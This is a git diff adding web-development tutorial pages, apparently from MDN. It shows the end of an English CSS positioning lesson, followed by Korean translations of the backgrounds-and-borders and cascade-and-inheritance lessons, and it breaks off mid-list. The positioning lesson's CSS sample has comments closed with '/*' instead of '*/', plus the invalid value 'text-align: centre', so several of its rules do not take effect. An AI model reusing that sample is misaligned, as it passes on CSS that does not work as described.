+        &lt;p&gt;Top Right&lt;/p&gt;
+    &lt;/div&gt;
+
+    &lt;div class="absolute-two"&gt;
+        &lt;p&gt;Position:absolute&lt;/p&gt;&lt;/br&gt;
+        &lt;p&gt;Bottom Centre&lt;/p&gt;
+    &lt;/div&gt;
+
+    &lt;div class="absolute-three"&gt;
+        &lt;p&gt;Position:static&lt;/p&gt;&lt;/br&gt;
+        &lt;p&gt;Where it falls&lt;/p&gt;
+    &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>CSS:</p>
+
+<pre class="brush: css">p {
+  text-align:  centre;
+  color: #fff;
+}
+
+
+/* Setting the position to relative
+allows any child elements to be positioned
+anywhere, in <em><strong>relation</strong> to its container. */
+</em>
+.relative {
+  position: relative;
+  width: 95%;
+  margin: 0 auto;
+  height: 300px;
+  background-color: #fff;
+  border: 3px solid #ADD8E6;
+}
+
+/* Just some styles for text alignment /*
+.relative div {
+  text-align: center;
+  padding: 5px;
+  display: block;
+  width: 125px;
+  height: 125px;
+  background-color: #ADD8E6;
+}
+
+/* By setting this div to position absolute
+we can position this element anywhere in relation
+to the 'relative' div /*
+.absolute-one {
+   position: absolute;
+   top: 0;
+   right: 0;
+}
+
+/* Unlike the first div which was positioned at the
+top right corner of the container div. '.absolute-two'
+is positioned bottom centre. By setting both left and right
+to 0, along with margin:auto.
+.absolute-two {
+   position: absolute;
+   bottom: 0;
+   right: 0;
+   left: 0;
+   margin: auto;
+}
+
+/* Where the div would fall naturally within it's container.
+This is also useful for returning elements from a floated
+position. E.g. on responsive styles. /*
+.absolute-three {
+   position: static;
+}
+</pre>
+
+<p>Results:</p>
+
+<p>{{ EmbedLiveSample('Positioning', '100%', '400') }}</p>
+
+<p>If CSS positioning isn't really used for full layout, it is used quite often to deal with trick UX effect such as navigation layout, tooltip and such. This is something you'll see on a regular basis so we encourage you to get into it. Among various resources about it, we suggest you take a look at the article <em><a href="http://alistapart.com/article/css-positioning-101">CSS positioning 101</a></em> by Noah Stokes.</p>
+
+<h2 id="What's_next">What's next</h2>
+
+<p>The flow, the floating boxes,  and CSS positioning are the basic CSS knowledge that will drive you into CSS layout. Now you are ready to use CSS to its full potential! You should now take some time looking at <a href="/en-US/docs/Learn/CSS/Howto">practical usage of CSS</a>. If you want to dig even deeper into layouts, you should definitely take a look at the other layout mechanism that exists with CSS: Table display, <a href="/en-US/docs/Web/CSS/CSS_Columns/Using_multi-column_layouts">multiple columns layout</a>, and <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes">flexible box layout</a>.</p>
+
+<p>{{PreviousNext("Learn/CSS/Basics/Box_model","Learn/CSS/Howto/style_text")}}</p>
+
+<div class="grammarly-disable-indicator"> </div>
diff --git a/files/ko/learn/css/building_blocks/backgrounds_and_borders/index.html b/files/ko/learn/css/building_blocks/backgrounds_and_borders/index.html
new file mode 100644
index 0000000000..a5e2983ea7
--- /dev/null
+++ b/files/ko/learn/css/building_blocks/backgrounds_and_borders/index.html
@@ -0,0 +1,318 @@
+---
+title: 배경 및 테두리
+slug: Learn/CSS/Building_blocks/Backgrounds_and_borders
+translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks")}}</div>
+
+<p>이번 수업에서는 CSS 배경과 테두리로 할 수 있는 창의적인 작업을 살펴보겠습니다. 그라데이션 (gradients), 배경 이미지, 둥근 테두리를 추가하는 것에서 배경과 테두리는 CSS 의 많은 스타일 질문에 대한 답입니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">전제조건:</th>
+   <td>기본 컴퓨터 활용 능력, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치</a>, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">파일 작업</a> 에 대한 기본 지식,  HTML 기본 사항 (<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a> 학습) 및 , CSS 작동 방식 이해 (<a href="/en-US/docs/Learn/CSS/First_steps">CSS 첫 번째 단계</a> 학습)</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>박스의 배경과 테두리 스타일을 지정하는 방법 배우기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="CSS_의_스타일링_배경">CSS 의 스타일링 배경</h2>
+
+<p>CSS {{cssxref("background")}} 속성은 이 수업에서 만나게 될 많은 background longhand 속성의 줄임말 입니다. 스타일 시트에서 복잡한 배경 속성을 발견하면, 한 번에 많은 값을 전달할 수 있으므로 이해하기 어려울 수 있습니다.</p>
+
+<pre class="brush: css"><code>.box {
+  background: linear-gradient(105deg, rgba(255,255,255,.2) 39%, rgba(51,56,57,1) 96%) center center / 400px 200px no-repeat,
+  url(big-star.png) center no-repeat, rebeccapurple;
+} </code>
+</pre>
+
+<p>이 자습서의 뒷부분에서 속기 (shorthand) 작동 방식으로 돌아가지만, 먼저 개별 배경 속성을 보고, CSS 에서 배경으로 수행할 수 있는 다양한 작업을 살펴보겠습니다.</p>
+
+<h3 id="배경_색상">배경 색상</h3>
+
+<p>{{cssxref("background-color")}} 속성은 CSS 의 모든 요소에 대한 배경색을 정의합니다. 이 속성은 유효한 <code><a href="/en-US/docs/Web/CSS/color_value">&lt;color&gt;</a></code>  를 허용합니다. <code>background-color</code> 는 요소의 내용 및 패딩 박스 아래로 확장됩니다.</p>
+
+<p>아래 예에서는 다양한 색상 값을 사용하여 박스, 제목 및 {{htmlelement("span")}} 요소에 배경색을 추가했습니다.</p>
+
+<p><strong>사용 가능한 <a href="/en-US/docs/Web/CSS/color_value">&lt;color&gt;</a> 값을 사용하여, 이것들을 가지고 놀아보십시오.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/color.html", '100%', 800)}}</p>
+
+<h3 id="배경_이미지">배경 이미지</h3>
+
+<p>{{cssxref("background-image")}} 속성을 사용하면 요소의 배경에 이미지를 표시할 수 있습니다. 아래 예에는 두 개의 박스가 있습니다 — 하나는 박스보다 큰 배경 이미지이고 다른 하나는 별 모양의 작은 이미지 입니다.</p>
+
+<p>이 예제는 배경 이미지에 대한 두 가지를 보여줍니다. 기본적으로 큰 이미지는 박스에 맞게 축소되지 않으므로 작은 이미지만 표시되는 반면, 작은 이미지는 박스를 채우기 위해 바둑판 식으로 배열됩니다. 이 경우 실제 이미지는 단일 별 입니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/background-image.html", '100%', 800)}}</p>
+
+<p><strong>배경 이미지 외에 배경색을 지정하면 이미지가 색상 위에 표시됩니다. 위 예제에 <code>background-color</code> 속성을 추가하여 실제 상태를 확인하십시오.</strong></p>
+
+<h4 id="배경_이미지_반복_제어">배경 이미지 반복 제어</h4>
+
+<p>{{cssxref("background-repeat")}} 속성은 이미지의 타일링 동작을 제어하는 데 사용됩니다. 사용 가능한 값은 다음과 같습니다:</p>
+
+<ul>
+ <li><code>no-repeat</code> — 배경이 반복되지 않도록 합니다.</li>
+ <li><code>repeat-x</code> — 수평으로 반복합니다.</li>
+ <li><code>repeat-y</code> — 수직으로 반복합니다.</li>
+ <li><code>repeat</code> — 기본값; 양방향으로 반복합니다.</li>
+</ul>
+
+<p><strong>아래 예에서 이러한 값을 사용해 보십시오. 값이 <code>no-repeat</code> 로 설정되어 별 하나만 표시됩니다. 다른 값 — <code>repeat-x</code> 및 <code>repeat-y</code> — 를 사용하여 그 효과가 무엇인지 확인하십시오.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/repeat.html", '100%', 800)}}</p>
+
+<h4 id="배경_이미지_크기_조정">배경 이미지 크기 조정</h4>
+
+<p>위의 예에서 배경의 요소보다 커서, 이미지가 크게 잘립니다. 이 경우 <a href="/en-US/docs/Web/CSS/length">길이</a> 나 <a href="/en-US/docs/Web/CSS/percentage">백분율</a> 값을 취할 수 있는 {{cssxref("background-size")}} 속성을 사용하여 이미지 크기를 배경 안에 맞출 수 있습니다.</p>
+
+<p>키워드를 사용할 수도 있습니다:</p>
+
+<ul>
+ <li><code>cover</code> — 브라우저는 이미지를 박스 면적을 완전히 덮으면서 가로 세로 비율을 유지하며 이미지를 충분히 크게 만듭니다. 이 경우 일부 이미지가 박스 외부에 있을 수 있습니다.</li>
+ <li><code>contain</code> — 브라우저는 이미지를 박스 안에 들어가기에 적합한 크기로 만듭니다. 이 경우 이미지의 종횡비가 박스의 종횡비와 다른 경우, 이미지의 한쪽 또는 위쪽과 아래쪽에 간격이 생길 수 있습니다.</li>
+</ul>
+
+<p>아래 예제에서는 위 예제의 큰 이미지를 사용했으며, 박스 안에 길이 단위를 사용하여 크기를 조정했습니다. 이미지가 왜곡된 것을 볼 수 있습니다.</p>
+
+<p>다음을 시도해 보십시오.</p>
+
+<ul>
+ <li>배경 크기를 수정하는 데 사용되는 길이 단위를 변경 하십시오.</li>
+ <li>길이 단위를 제거하고 <code>background-size: cover</code> 또는 <code>background-size: contain</code> 을 사용할 때 어떻게 되는지 확인 하십시오.</li>
+ <li>이미지가 박스보다 작으면, <code>background-repeat</code> 의 값을 변경하여 이미지를 반복할 수 있습니다.</li>
+</ul>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/size.html", '100%', 800)}}</p>
+
+<h4 id="배경_이미지_배치">배경 이미지 배치</h4>
+
+<p>{{cssxref("background-position")}} 속성을 사용하면 적용되는 박스에서 배경 이미지가 나타나는 위치를 선택할 수 있습니다. 박스의 왼쪽 상단 모서리가 <code>(0,0)</code>  이고, 박스가 가로 (<code>x</code>) 및 세로 (<code>y</code>) 축을 따라 위치하는 좌표계를 사용합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: <code>background-position</code> 의 기본값은 <code>(0,0)</code> 입니다.</p>
+</div>
+
+<p>가장 일반적인 <code>background-position</code> 값은 — 수평 값과 수직 값의 두 가지 개별 값을 갖습니다.</p>
+
+<p><code>top</code> 및 <code>right</code> ({{cssxref("background-image")}} 페이지에서 다른 키워드를 찾으십시오) 와 같은 키워드를 사용 할 수 있습니다:</p>
+
+<pre class="brush: css"><code>.box {
+  background-image: url(star.png);
+  background-repeat: no-repeat;
+  background-position: top center;
+} </code>
+</pre>
+
+<p>그리고 <a href="/en-US/docs/Web/CSS/length">길이</a> 및 <a href="/en-US/docs/Web/CSS/percentage">백분율</a>:</p>
+
+<pre class="brush: css"><code>.box {
+  background-image: url(star.png);
+  background-repeat: no-repeat;
+  background-position: 20px 10%;
+} </code>
+</pre>
+
+<p>키워드 값을 길이 또는 백분율과 혼합할 수도 있습니다. 예를 들면:</p>
+
+<pre class="brush: css">.box {
+  background-image: url(star.png);
+  background-repeat: no-repeat;
+  background-position: top 20px;
+}</pre>
+
+<p>마지막으로, 박스의 특정 모서리로 부터의 거리를 나타내기 위해 4 값 구문을 사용할 수도 있습니다 — 이 경우 길이 단위는 앞에 오는 값과의 offset 입니다. 아래 CSS 에서 우리는 배경을 위쪽에서 20px, 오른쪽에서 10px 로 배치합니다:</p>
+
+<pre class="brush: css"><code>.box {
+  background-image: url(star.png);
+  background-repeat: no-repeat;
+  background-position: top 20px right 10px;
+} </code></pre>
+
+<p><strong>아래 예제를 사용하여 이러한 값을 가지고 실습하면서 박스 안에서 별을 움직이십시오.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/position.html", '100%', 800)}}</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: <code>background-position</code> 은 {{cssxref("background-position-x")}} 및 {{cssxref("background-position-y")}} 의 줄임말로, 다른 축 위치 값을 개별적으로 설정할 수 있습니다.</p>
+</div>
+
+<h3 id="그라데이션_Gradient_배경">그라데이션 (Gradient) 배경</h3>
+
+<p>배경에 사용될 때 — Gradient — 는 이미지 처럼 작동하며 {{cssxref("background-image")}} 속성을 사용하여 설정 됩니다.</p>
+
+<p><code><a href="/en-US/docs/Web/CSS/gradient">&lt;gradient&gt;</a></code> 데이터 유형에 대한 MDN 페이지에서 다양한 유형의 그라디언트 및 그라디언트로 수행 할 수 있는 작업에 대한 자세한 내용을 읽을 수 있습니다. 그라디언트를 재생하는 재미있는 방법은 웹에서 사용할 수 있는 많은 CSS 그라디언트 생성기 중 <a href="https://cssgradient.io/">하나</a> 를 사용하는 것입니다. 그라디언트를 생성한 다음 이를 생성하는 소스 코드를 복사하여 붙여 넣을 수 있습니다.</p>
+
+<p>아래 예제에서 다른 그라디언트를 사용해 보십시오. 두 개의 박스에는 각각 전체 박스에 걸쳐 펼쳐지는 선형 그라디언트와 설정된 크기의 방사형 그라디언트가 있습니다. 따라서 반복됩니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/gradients.html", '100%', 800)}}</p>
+
+<h3 id="여러_배경_이미지">여러 배경 이미지</h3>
+
+<p>여러 개의 배경 이미지를 가질 수도 있습니다  — 하나의 속성 값으로 여러 개의 <code>background-image</code> 값을 지정하고, 각 이미지를 쉼표로 구분합니다.</p>
+
+<p>이렇게 하면 배경 이미지가 서로 겹칠 수 있습니다. 배경은 stack 맨 아래에 마지막으로 나열된 배경 이미지와 함께 쌓이고, 코드에서 그 뒤에 오는 이미지 위에 각각의 이전 이미지가 쌓입니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 그라디언트는 일반 배경 이미지와 혼합될 수 있습니다.</p>
+</div>
+
+<p>다른 <code>background-*</code> 속성은 <code>background-image</code> 와 같은 방식으로 쉼표로 구분된 값을 가질 수도 있습니다:</p>
+
+<pre class="brush: css">background-image: url(image1.png), url(image2.png), url(image3.png), url(image1.png);
+background-repeat: no-repeat, repeat-x, repeat;
+background-position: 10px 20px,  top right;</pre>
+
+<p>다른 속성의 각 값은 다른 속성의 같은 위치에 있는 값과 일치합니다. 예를 들어, <code>image1</code> 의 <code>background-repeat</code> 값은 <code>no-repeat</code> 입니다. 그러나, 다른 속성의 값이 다른 경우 어떻게 됩니까? 답은 더 적은 수의 값이 순환한다는 것입니다 — 위의 예에서는 4 개의 배경 이미지가 있지만 2 개의 <code>background-position</code> 값만 있습니다. 처음 두 위치 값은 처음 두 이미지에 적용되고 다시 순환됩니다 — <code>image3</code> 에는 첫 번째 위치값이 제공되고, <code>image4</code> 에는 두 번째 위치값이 제공됩니다.</p>
+
+<p><strong>해봅시다. 아래 예에서는 두 개의 이미지를 포함했습니다. 쌓인 순서를 설명하려면, 목록에서 어떤 배경 이미지가 먼저 나오는지 전환해 보십시오. 또는 다른 속성을 사용하여 위치, 크기 또는 반복 값을 변경하십시오.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/multiple-background-image.html", '100%', 800)}}</p>
+
+<h3 id="배경_첨부_attachment">배경 첨부 (attachment)</h3>
+
+<p>배경에 사용할 수 있는 또 다른 옵션은 내용이 스크롤될 때 스크롤하는 방법을 지정하는 것입니다. 이는 {{cssxref("background-attachment")}} 속성을 사용하여 제어되며, 다음 값을 사용할 수 있습니다:</p>
+
+<ul>
+ <li><code>scroll</code>: 페이지가 스크롤될 때 요소의 배경이 스크롤 되도록 합니다. 요소 내용이 스크롤되면, 배경이 움직이지 않습니다. 실제로 배경은 페이지에서 동일한 위치로 고정되므로, 페이지가 스크롤될 때 스크롤 됩니다.</li>
+ <li><code>fixed</code>: 요소의 배경을 viewport 에 고정시켜, 페이지나 요소 내용을 스크롤할 때 스크롤되지 않도록 합니다. 항상 화면에서 동일한 위치에 유지됩니다.</li>
+ <li><code>local</code>: 이 값은 나중에 추가 되었습니다 (Explorer 9 이상에서만 지원되지만, 다른 값은 IE4 이상에서 지원됨).  왜냐하면 <code>scroll</code> 값이 다소 혼란스럽고 많은 경우 실제로 원하는 것을 수행하지 않기 때문입니다. <code>local</code> 값은 배경을 설정된 요소로 고정하므로, 요소를 스크롤하면 배경과 함께 스크롤 됩니다.</li>
+</ul>
+
+<p>{{cssxref("background-attachment")}} 속성은 스크롤할 내용이 있을 때만 영향을 미치므로, 세 가지 값의 차이점을 보여주는 데모를 만들었습니다  — <a href="http://mdn.github.io/learning-area/css/styling-boxes/backgrounds/background-attachment.html">background-attachment.html</a> 을 살펴보십시오 (여기에서 <a href="https://github.com/mdn/learning-area/tree/master/css/styling-boxes/backgrounds">소스 코드</a> 를 참조하십시오).</p>
+
+<h3 id="배경_속기_shorthand_속성_사용">배경 속기 (shorthand) 속성 사용</h3>
+
+<p>이 수업 시작 부분에서 언급했듯이, {{cssxref("background")}} 속성을 사용하여 지정된 배경을 자주 볼 수 있습니다. 이 속기 기능을 사용하면 모든 다른 속성을 한 번에 설정할 수 있습니다.</p>
+
+<p>여러 배경을 사용하는 경우, 첫 번째 배경에 대한 모든 속성을 지정한 다음, 쉼표 뒤에 다음 배경을 추가해야 합니다. 아래 예에서는 크기와 위치가 있는 그라디언트, <code>no-repeat</code> 및 이미지 위치가 있는 이미지 배경, 색상이 있습니다.</p>
+
+<p>배경 이미지 속기 값을 쓸 때 따라야 할 몇 가지 규칙이 있습니다. 예를 들면:</p>
+
+<ul>
+ <li><code>background-color</code> 는 마지막 쉼표 뒤에만 지정할 수 있습니다.</li>
+ <li><code>background-size</code> 의 값은 <code>background-position</code>, 직후에 포함되며 <code>center/80%</code> 와 같이 '/' 문자로 구분됩니다.</li>
+</ul>
+
+<p>모든 고려 사항을 보려면  MDN 페이지의 {{cssxref("background")}} 를 살펴보십시오.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/background.html", '100%', 800)}}</p>
+
+<h3 id="배경이_있는_접근성_고려_사항">배경이 있는 접근성 고려 사항</h3>
+
+<p>배경 이미지나 색상 위에 텍스트를 배치 할 때, 방문자가 텍스트를 읽을 수 있도록 contrast 를 충분히 유지해야 합니다. 이미지를 지정하고 해당 이미지 위에 텍스트를 배치하는 경우, 이미지가 로드되지 않은 경우 텍스트를 읽을 수 있는 <code>background-color</code> 도 지정해야 합니다.</p>
+
+<p>화면 판독기는 배경 이미지를 구문 분석할 수 없으므로 순전히 장식이어야 합니다. 중요한 내용은 HTML 페이지의 일부여야 하며, 배경에 포함되지 않아야 합니다.</p>
+
+<h2 id="테두리">테두리</h2>
+
+<p>박스 모델에 대해 알아볼 때, 테두리가 박스 크기에 어떤 영향을 미치는지 알아 냈습니다. 이 수업에서는 테두리를 창의적으로 사용하는 방법을 살펴봅니다. 일반적으로 CSS 를 사용하여 요소에 테두리를 추가할 때는, CSS 의 한 라인에 테두리의 색상, 너비 및 스타일을 설정하는 속기 속성을 사용합니다.</p>
+
+<p>{{cssxref("border")}} 를 사용하여 박스의 네 면 모두에 테두리를 설정할 수 있습니다:</p>
+
+<pre class="brush: css"><code>.box {
+  border: 1px solid black;
+} </code></pre>
+
+<p>또는 박스의 한쪽 가장자리를 대상으로 지정할 수 있습니다. 예를 들면:</p>
+
+<pre class="brush: css"><code>.box {
+  border-top: 1px solid black;
+} </code></pre>
+
+<p>이러한 속기의 개별 속성은 다음과 같습니다:</p>
+
+<pre class="brush: css"><code>.box {
+  border-width: 1px;
+  border-style: solid;
+  border-color: black;
+} </code></pre>
+
+<p>그리고 longhands 는 다음과 같습니다:</p>
+
+<pre class="brush: css"><code>.box {
+  border-top-width: 1px;
+  border-top-style: solid;
+  border-top-color: black;
+} </code></pre>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 위쪽, 오른쪽, 아래쪽 및 왼쪽 테두리 속성에는 문서의 쓰기 모드 (예: 왼쪽에서 오른쪽으로 또는 오른쪽에서 왼쪽으로 텍스트 또는 위에서 아래로) 와 관련된 논리적 속성이 매핑되어 있습니다. 다음 수업에서는 <a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">다양한 텍스트 방향 처리</a> 에 대해 다룰것입니다.</p>
+</div>
+
+<p><strong>테두리에 사용할 수 있는 다양한 스타일이 있습니다. 아래 예에서 우리는 박스의 네 면에 다른 테두리 스타일을 사용했습니다. 테두리 스타일, 너비 및 색상으로 실습하여 테두리의 작동 방식을 확인 하십시오.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/borders.html", '100%', 800)}}</p>
+
+<h3 id="둥근_테두리">둥근 테두리</h3>
+
+<p>박스의 둥근 테두리는 {{cssxref("border-radius")}} 속성 과 박스의 각 모서리와 관련되 관련 longhands 를 사용하여 수행됩니다. 두 개의 길이 또는 백분율을 값으로 사용할 수 있습니다. 첫 번째 값은 가로 반경을 정의하고 두 번째 값은 세로 반경을 정의합니다. 많은 경우에 하나의 값만 전달하면 둘 다에 사용됩니다.</p>
+
+<p>예를 들어, 박스의 네 모서리를 모두 10px radius 로 만들려면:</p>
+
+<pre class="brush: css"><code>.box {
+  border-radius: 10px;
+} </code></pre>
+
+<p>또는 오른쪽 상단 모서리의 가로 반경이 1em 이고, 세로 반경이 10% 가 되도록 하려면:</p>
+
+<pre class="brush: css"><code>.box {
+  border-top-right-radius: 1em 10%;
+} </code></pre>
+
+<p>아래 예에서 네 모서리를 모두 설정한 다음, 오른쪽 위 모서리의 값을 변경하여 다르게 만들었습니다. 값을 사용하여 모서리를 변경할 수 있습니다. 사용 가능한 구문 옵션을 보려면 {{cssxref("border-radius")}} 의 속성 페이지를 살펴보십시오.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/corners.html", '100%', 800)}}</p>
+
+<h2 id="배경과_테두리로_실습하기">배경과 테두리로 실습하기</h2>
+
+<p>새로운 지식을 테스트하려면 아래 예제를 시작점으로 사용하여 배경과 테두리를 사용하여 다음을 작성하십시오:</p>
+
+<ol>
+ <li>박스에 둥근 모서리가 10px 인, 5px 검은색 단색 테두리를 지정하십시오.</li>
+ <li>배경 이미지를 추가하고 (URL <code>balloons.jpg</code> 사용) 박스를 덮도록 크기를 조정하십시오.</li>
+ <li><code>&lt;h2&gt;</code> 에 반투명 검정색 배경색을 지정하고 텍스트를 흰색으로 만듭니다.</li>
+</ol>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/task.html", '100%', 800)}}</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: <a href="https://github.com/mdn/css-examples/blob/master/learn/solutions.md">여기에서 해결책을 살펴 보기</a> 할 수 있지만 — 먼저 스스로 알아보십시오!</p>
+</div>
+
+<h2 id="요약">요약</h2>
+
+<p>여기서는 많은 내용을 다루었으며, 박스에 배경이나 데두리를 추가하는 것이 상당히 많다는 것을 알 수 있습니다. 논의한 기능에 대해 더 자세히 알고 싶다면, 다른 속성 페이지를 살펴보십시오. MDN 의 각 페이지에는 지식을 가지고 실습하고 향상시키기 위한 더 많은 사용 예제가 있습니다.</p>
+
+<p>다음 수업에서는 문서의 쓰기 모드가 CSS 와 어떻게 상호 작용하는지 알아봅니다. 텍스트가 왼쪽에서 오른쪽으로 표시되지 않으면 어떻게 됩니까?</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="이번_강의에서는">이번 강의에서는</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">계단식 및 상속</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">CSS 선택자</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Type, class 및 ID 선택자</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">속성 선택자</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes 및 pseudo-elements</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">결합자</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">박스 모델</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">배경 및 테두리</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">다른 텍스트 방향 처리</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">콘텐츠 overflow</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">값 과 단위</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS 에서 항목 크기 조정</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">이미지, 미디어 및 양식 요소</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">표 스타일링</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS 디버깅</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">CSS 정리</a></li>
+</ol>
diff --git a/files/ko/learn/css/building_blocks/cascade_and_inheritance/index.html b/files/ko/learn/css/building_blocks/cascade_and_inheritance/index.html
new file mode 100644
index 0000000000..5e15af3722
--- /dev/null
+++ b/files/ko/learn/css/building_blocks/cascade_and_inheritance/index.html
@@ -0,0 +1,337 @@
+---
+title: 계단식 및 상속
+slug: Learn/CSS/Building_blocks/Cascade_and_inheritance
+translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance
+---
+<div>{{LearnSidebar}}{{NextMenu("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks")}}</div>
+
+<p>이 수업의 목적은 CSS 가 HTML 에 적용되는 방법과 충돌을 해결하는 방법을 제어하는 CSS 의 가장 기본적인 개념인 — 계단식, 우선 순위 및 상속 — 에 대한 이해를 발전시키는 것입니다.</p>
+
+<p>이 수업을 통해 작업하면 코스의 다른 부분 보다 관련성이 떨어지고 좀 더 학문적으로 보일 수 있지만, 이러한 사항을 이해하면 나중에 많은 고통을 덜 수 있습니다! 이 섹션을 주의 깊게 살펴보고 계속 진행하기 전에 개념을 이해하는지 확인하십시오.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">전제조건:</th>
+   <td>기본 컴퓨터 활용 능력, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치</a>, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">파일 작업</a> 에 대한 기본 지식,  HTML 기본 사항 (<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a> 학습) 및 , CSS 작동 방식 이해 (<a href="/en-US/docs/Learn/CSS/First_steps">CSS 첫 번째 단계</a> 학습)</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>계단식 및 특수성 과 CSS 에서 상속이 작동하는 방식 배우기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="규칙_충돌">규칙 충돌</h2>
+
+<p>CSS 는 <strong>Cascading Style Sheets</strong> 의 약자이며, CSS 라는 단어를 이해하는 데 있어 첫 번째 단어 <em>cascading</em> 은 매우 중요합니다.</p>
+
+<p>어느 시점에서, 당신은 프로젝트를 진행할 것이며 요소에 적용해야 할 CSS 가 작동하지 않는다는 것을 알게 될 것입니다. 일반적으로 문제는 동일한 요소에 적용할 수 있는 두 가지 규칙을 작성 했다는 것입니다. <strong>계단식 (cascade)</strong> 과 밀접하게 관련된 <strong>우선 순위 (specificity)</strong> 개념은 그러한 충돌이 있을 때 적용되는 규칙을 제어하는 메커니즘입니다. 어떤 규칙에 따라 요소를 원하는 스타일로 만들지 못할 수도 있으므로 이러한 메커니즘의 작동 방식을 이해해야 합니다.</p>
+
+<p><strong>상속(inheritance)</strong> 개념도 중요합니다. 기본적으로 일부 CSS 속성은 현재 요소의 부모 요소에 설정된 값을 상속하지만, 일부는 그렇지 않습니다. 또한 예상치 못한 일부 동작이 발생할 수 있습니다.</p>
+
+<p>우리가 다루고 있는 주요 사항을 간단히 살펴보면서 시작해 봅시다. 차례대로 살펴보고 서로 상호 작용하고 CSS 와 어떻게 상호 작용 하는지 살펴 보겠습니다. 이것은 이해하기 어려운 까다로운 개념으로 보일 수 있습니다. 그러나 CSS 작성에 대한 연습이 많을수록 작동 방식이 더 명확해 집니다.</p>
+
+<h3 id="계단식_cascade">계단식 (cascade)</h3>
+
+<p>스타일 시트 <strong>cascade</strong> — 매우 간단한 수준에서 이는 CSS 규칙의 순서가 중요하다는 것을 의미 합니다. 동일한 우선 순위를 갖는 두 규칙이 적용될 때, CSS 에서 마지막에 나오는 규칙이 사용 될 것입니다.</p>
+
+<p>아래 예에서는, <code>h1</code> 에 적용할 수 있는 두 가지 규칙이 있습니다. <code>h1</code> 은 파란색으로 표시됩니다 — 이러한 규칙에는 동일한 선택자가 있고 동일한 고유성을 가지므로, 소스 순서의 마지막 규칙이 우선합니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/cascade/cascade-simple.html", '100%', 400)}} </p>
+
+<h3 id="우선_순위_Specificity">우선 순위 (Specificity)</h3>
+
+<p>우선 순위는 여러 규칙에 다른 선택자가 있지만, 여전히 동일한 요소에 적용될 수 있는 경우, 브라우저가 어떤 규칙을 적용할 지 결정하는 방법입니다. 기본적으로 선택자의 선택이 얼마나 구체적인지 측정합니다:</p>
+
+<ul>
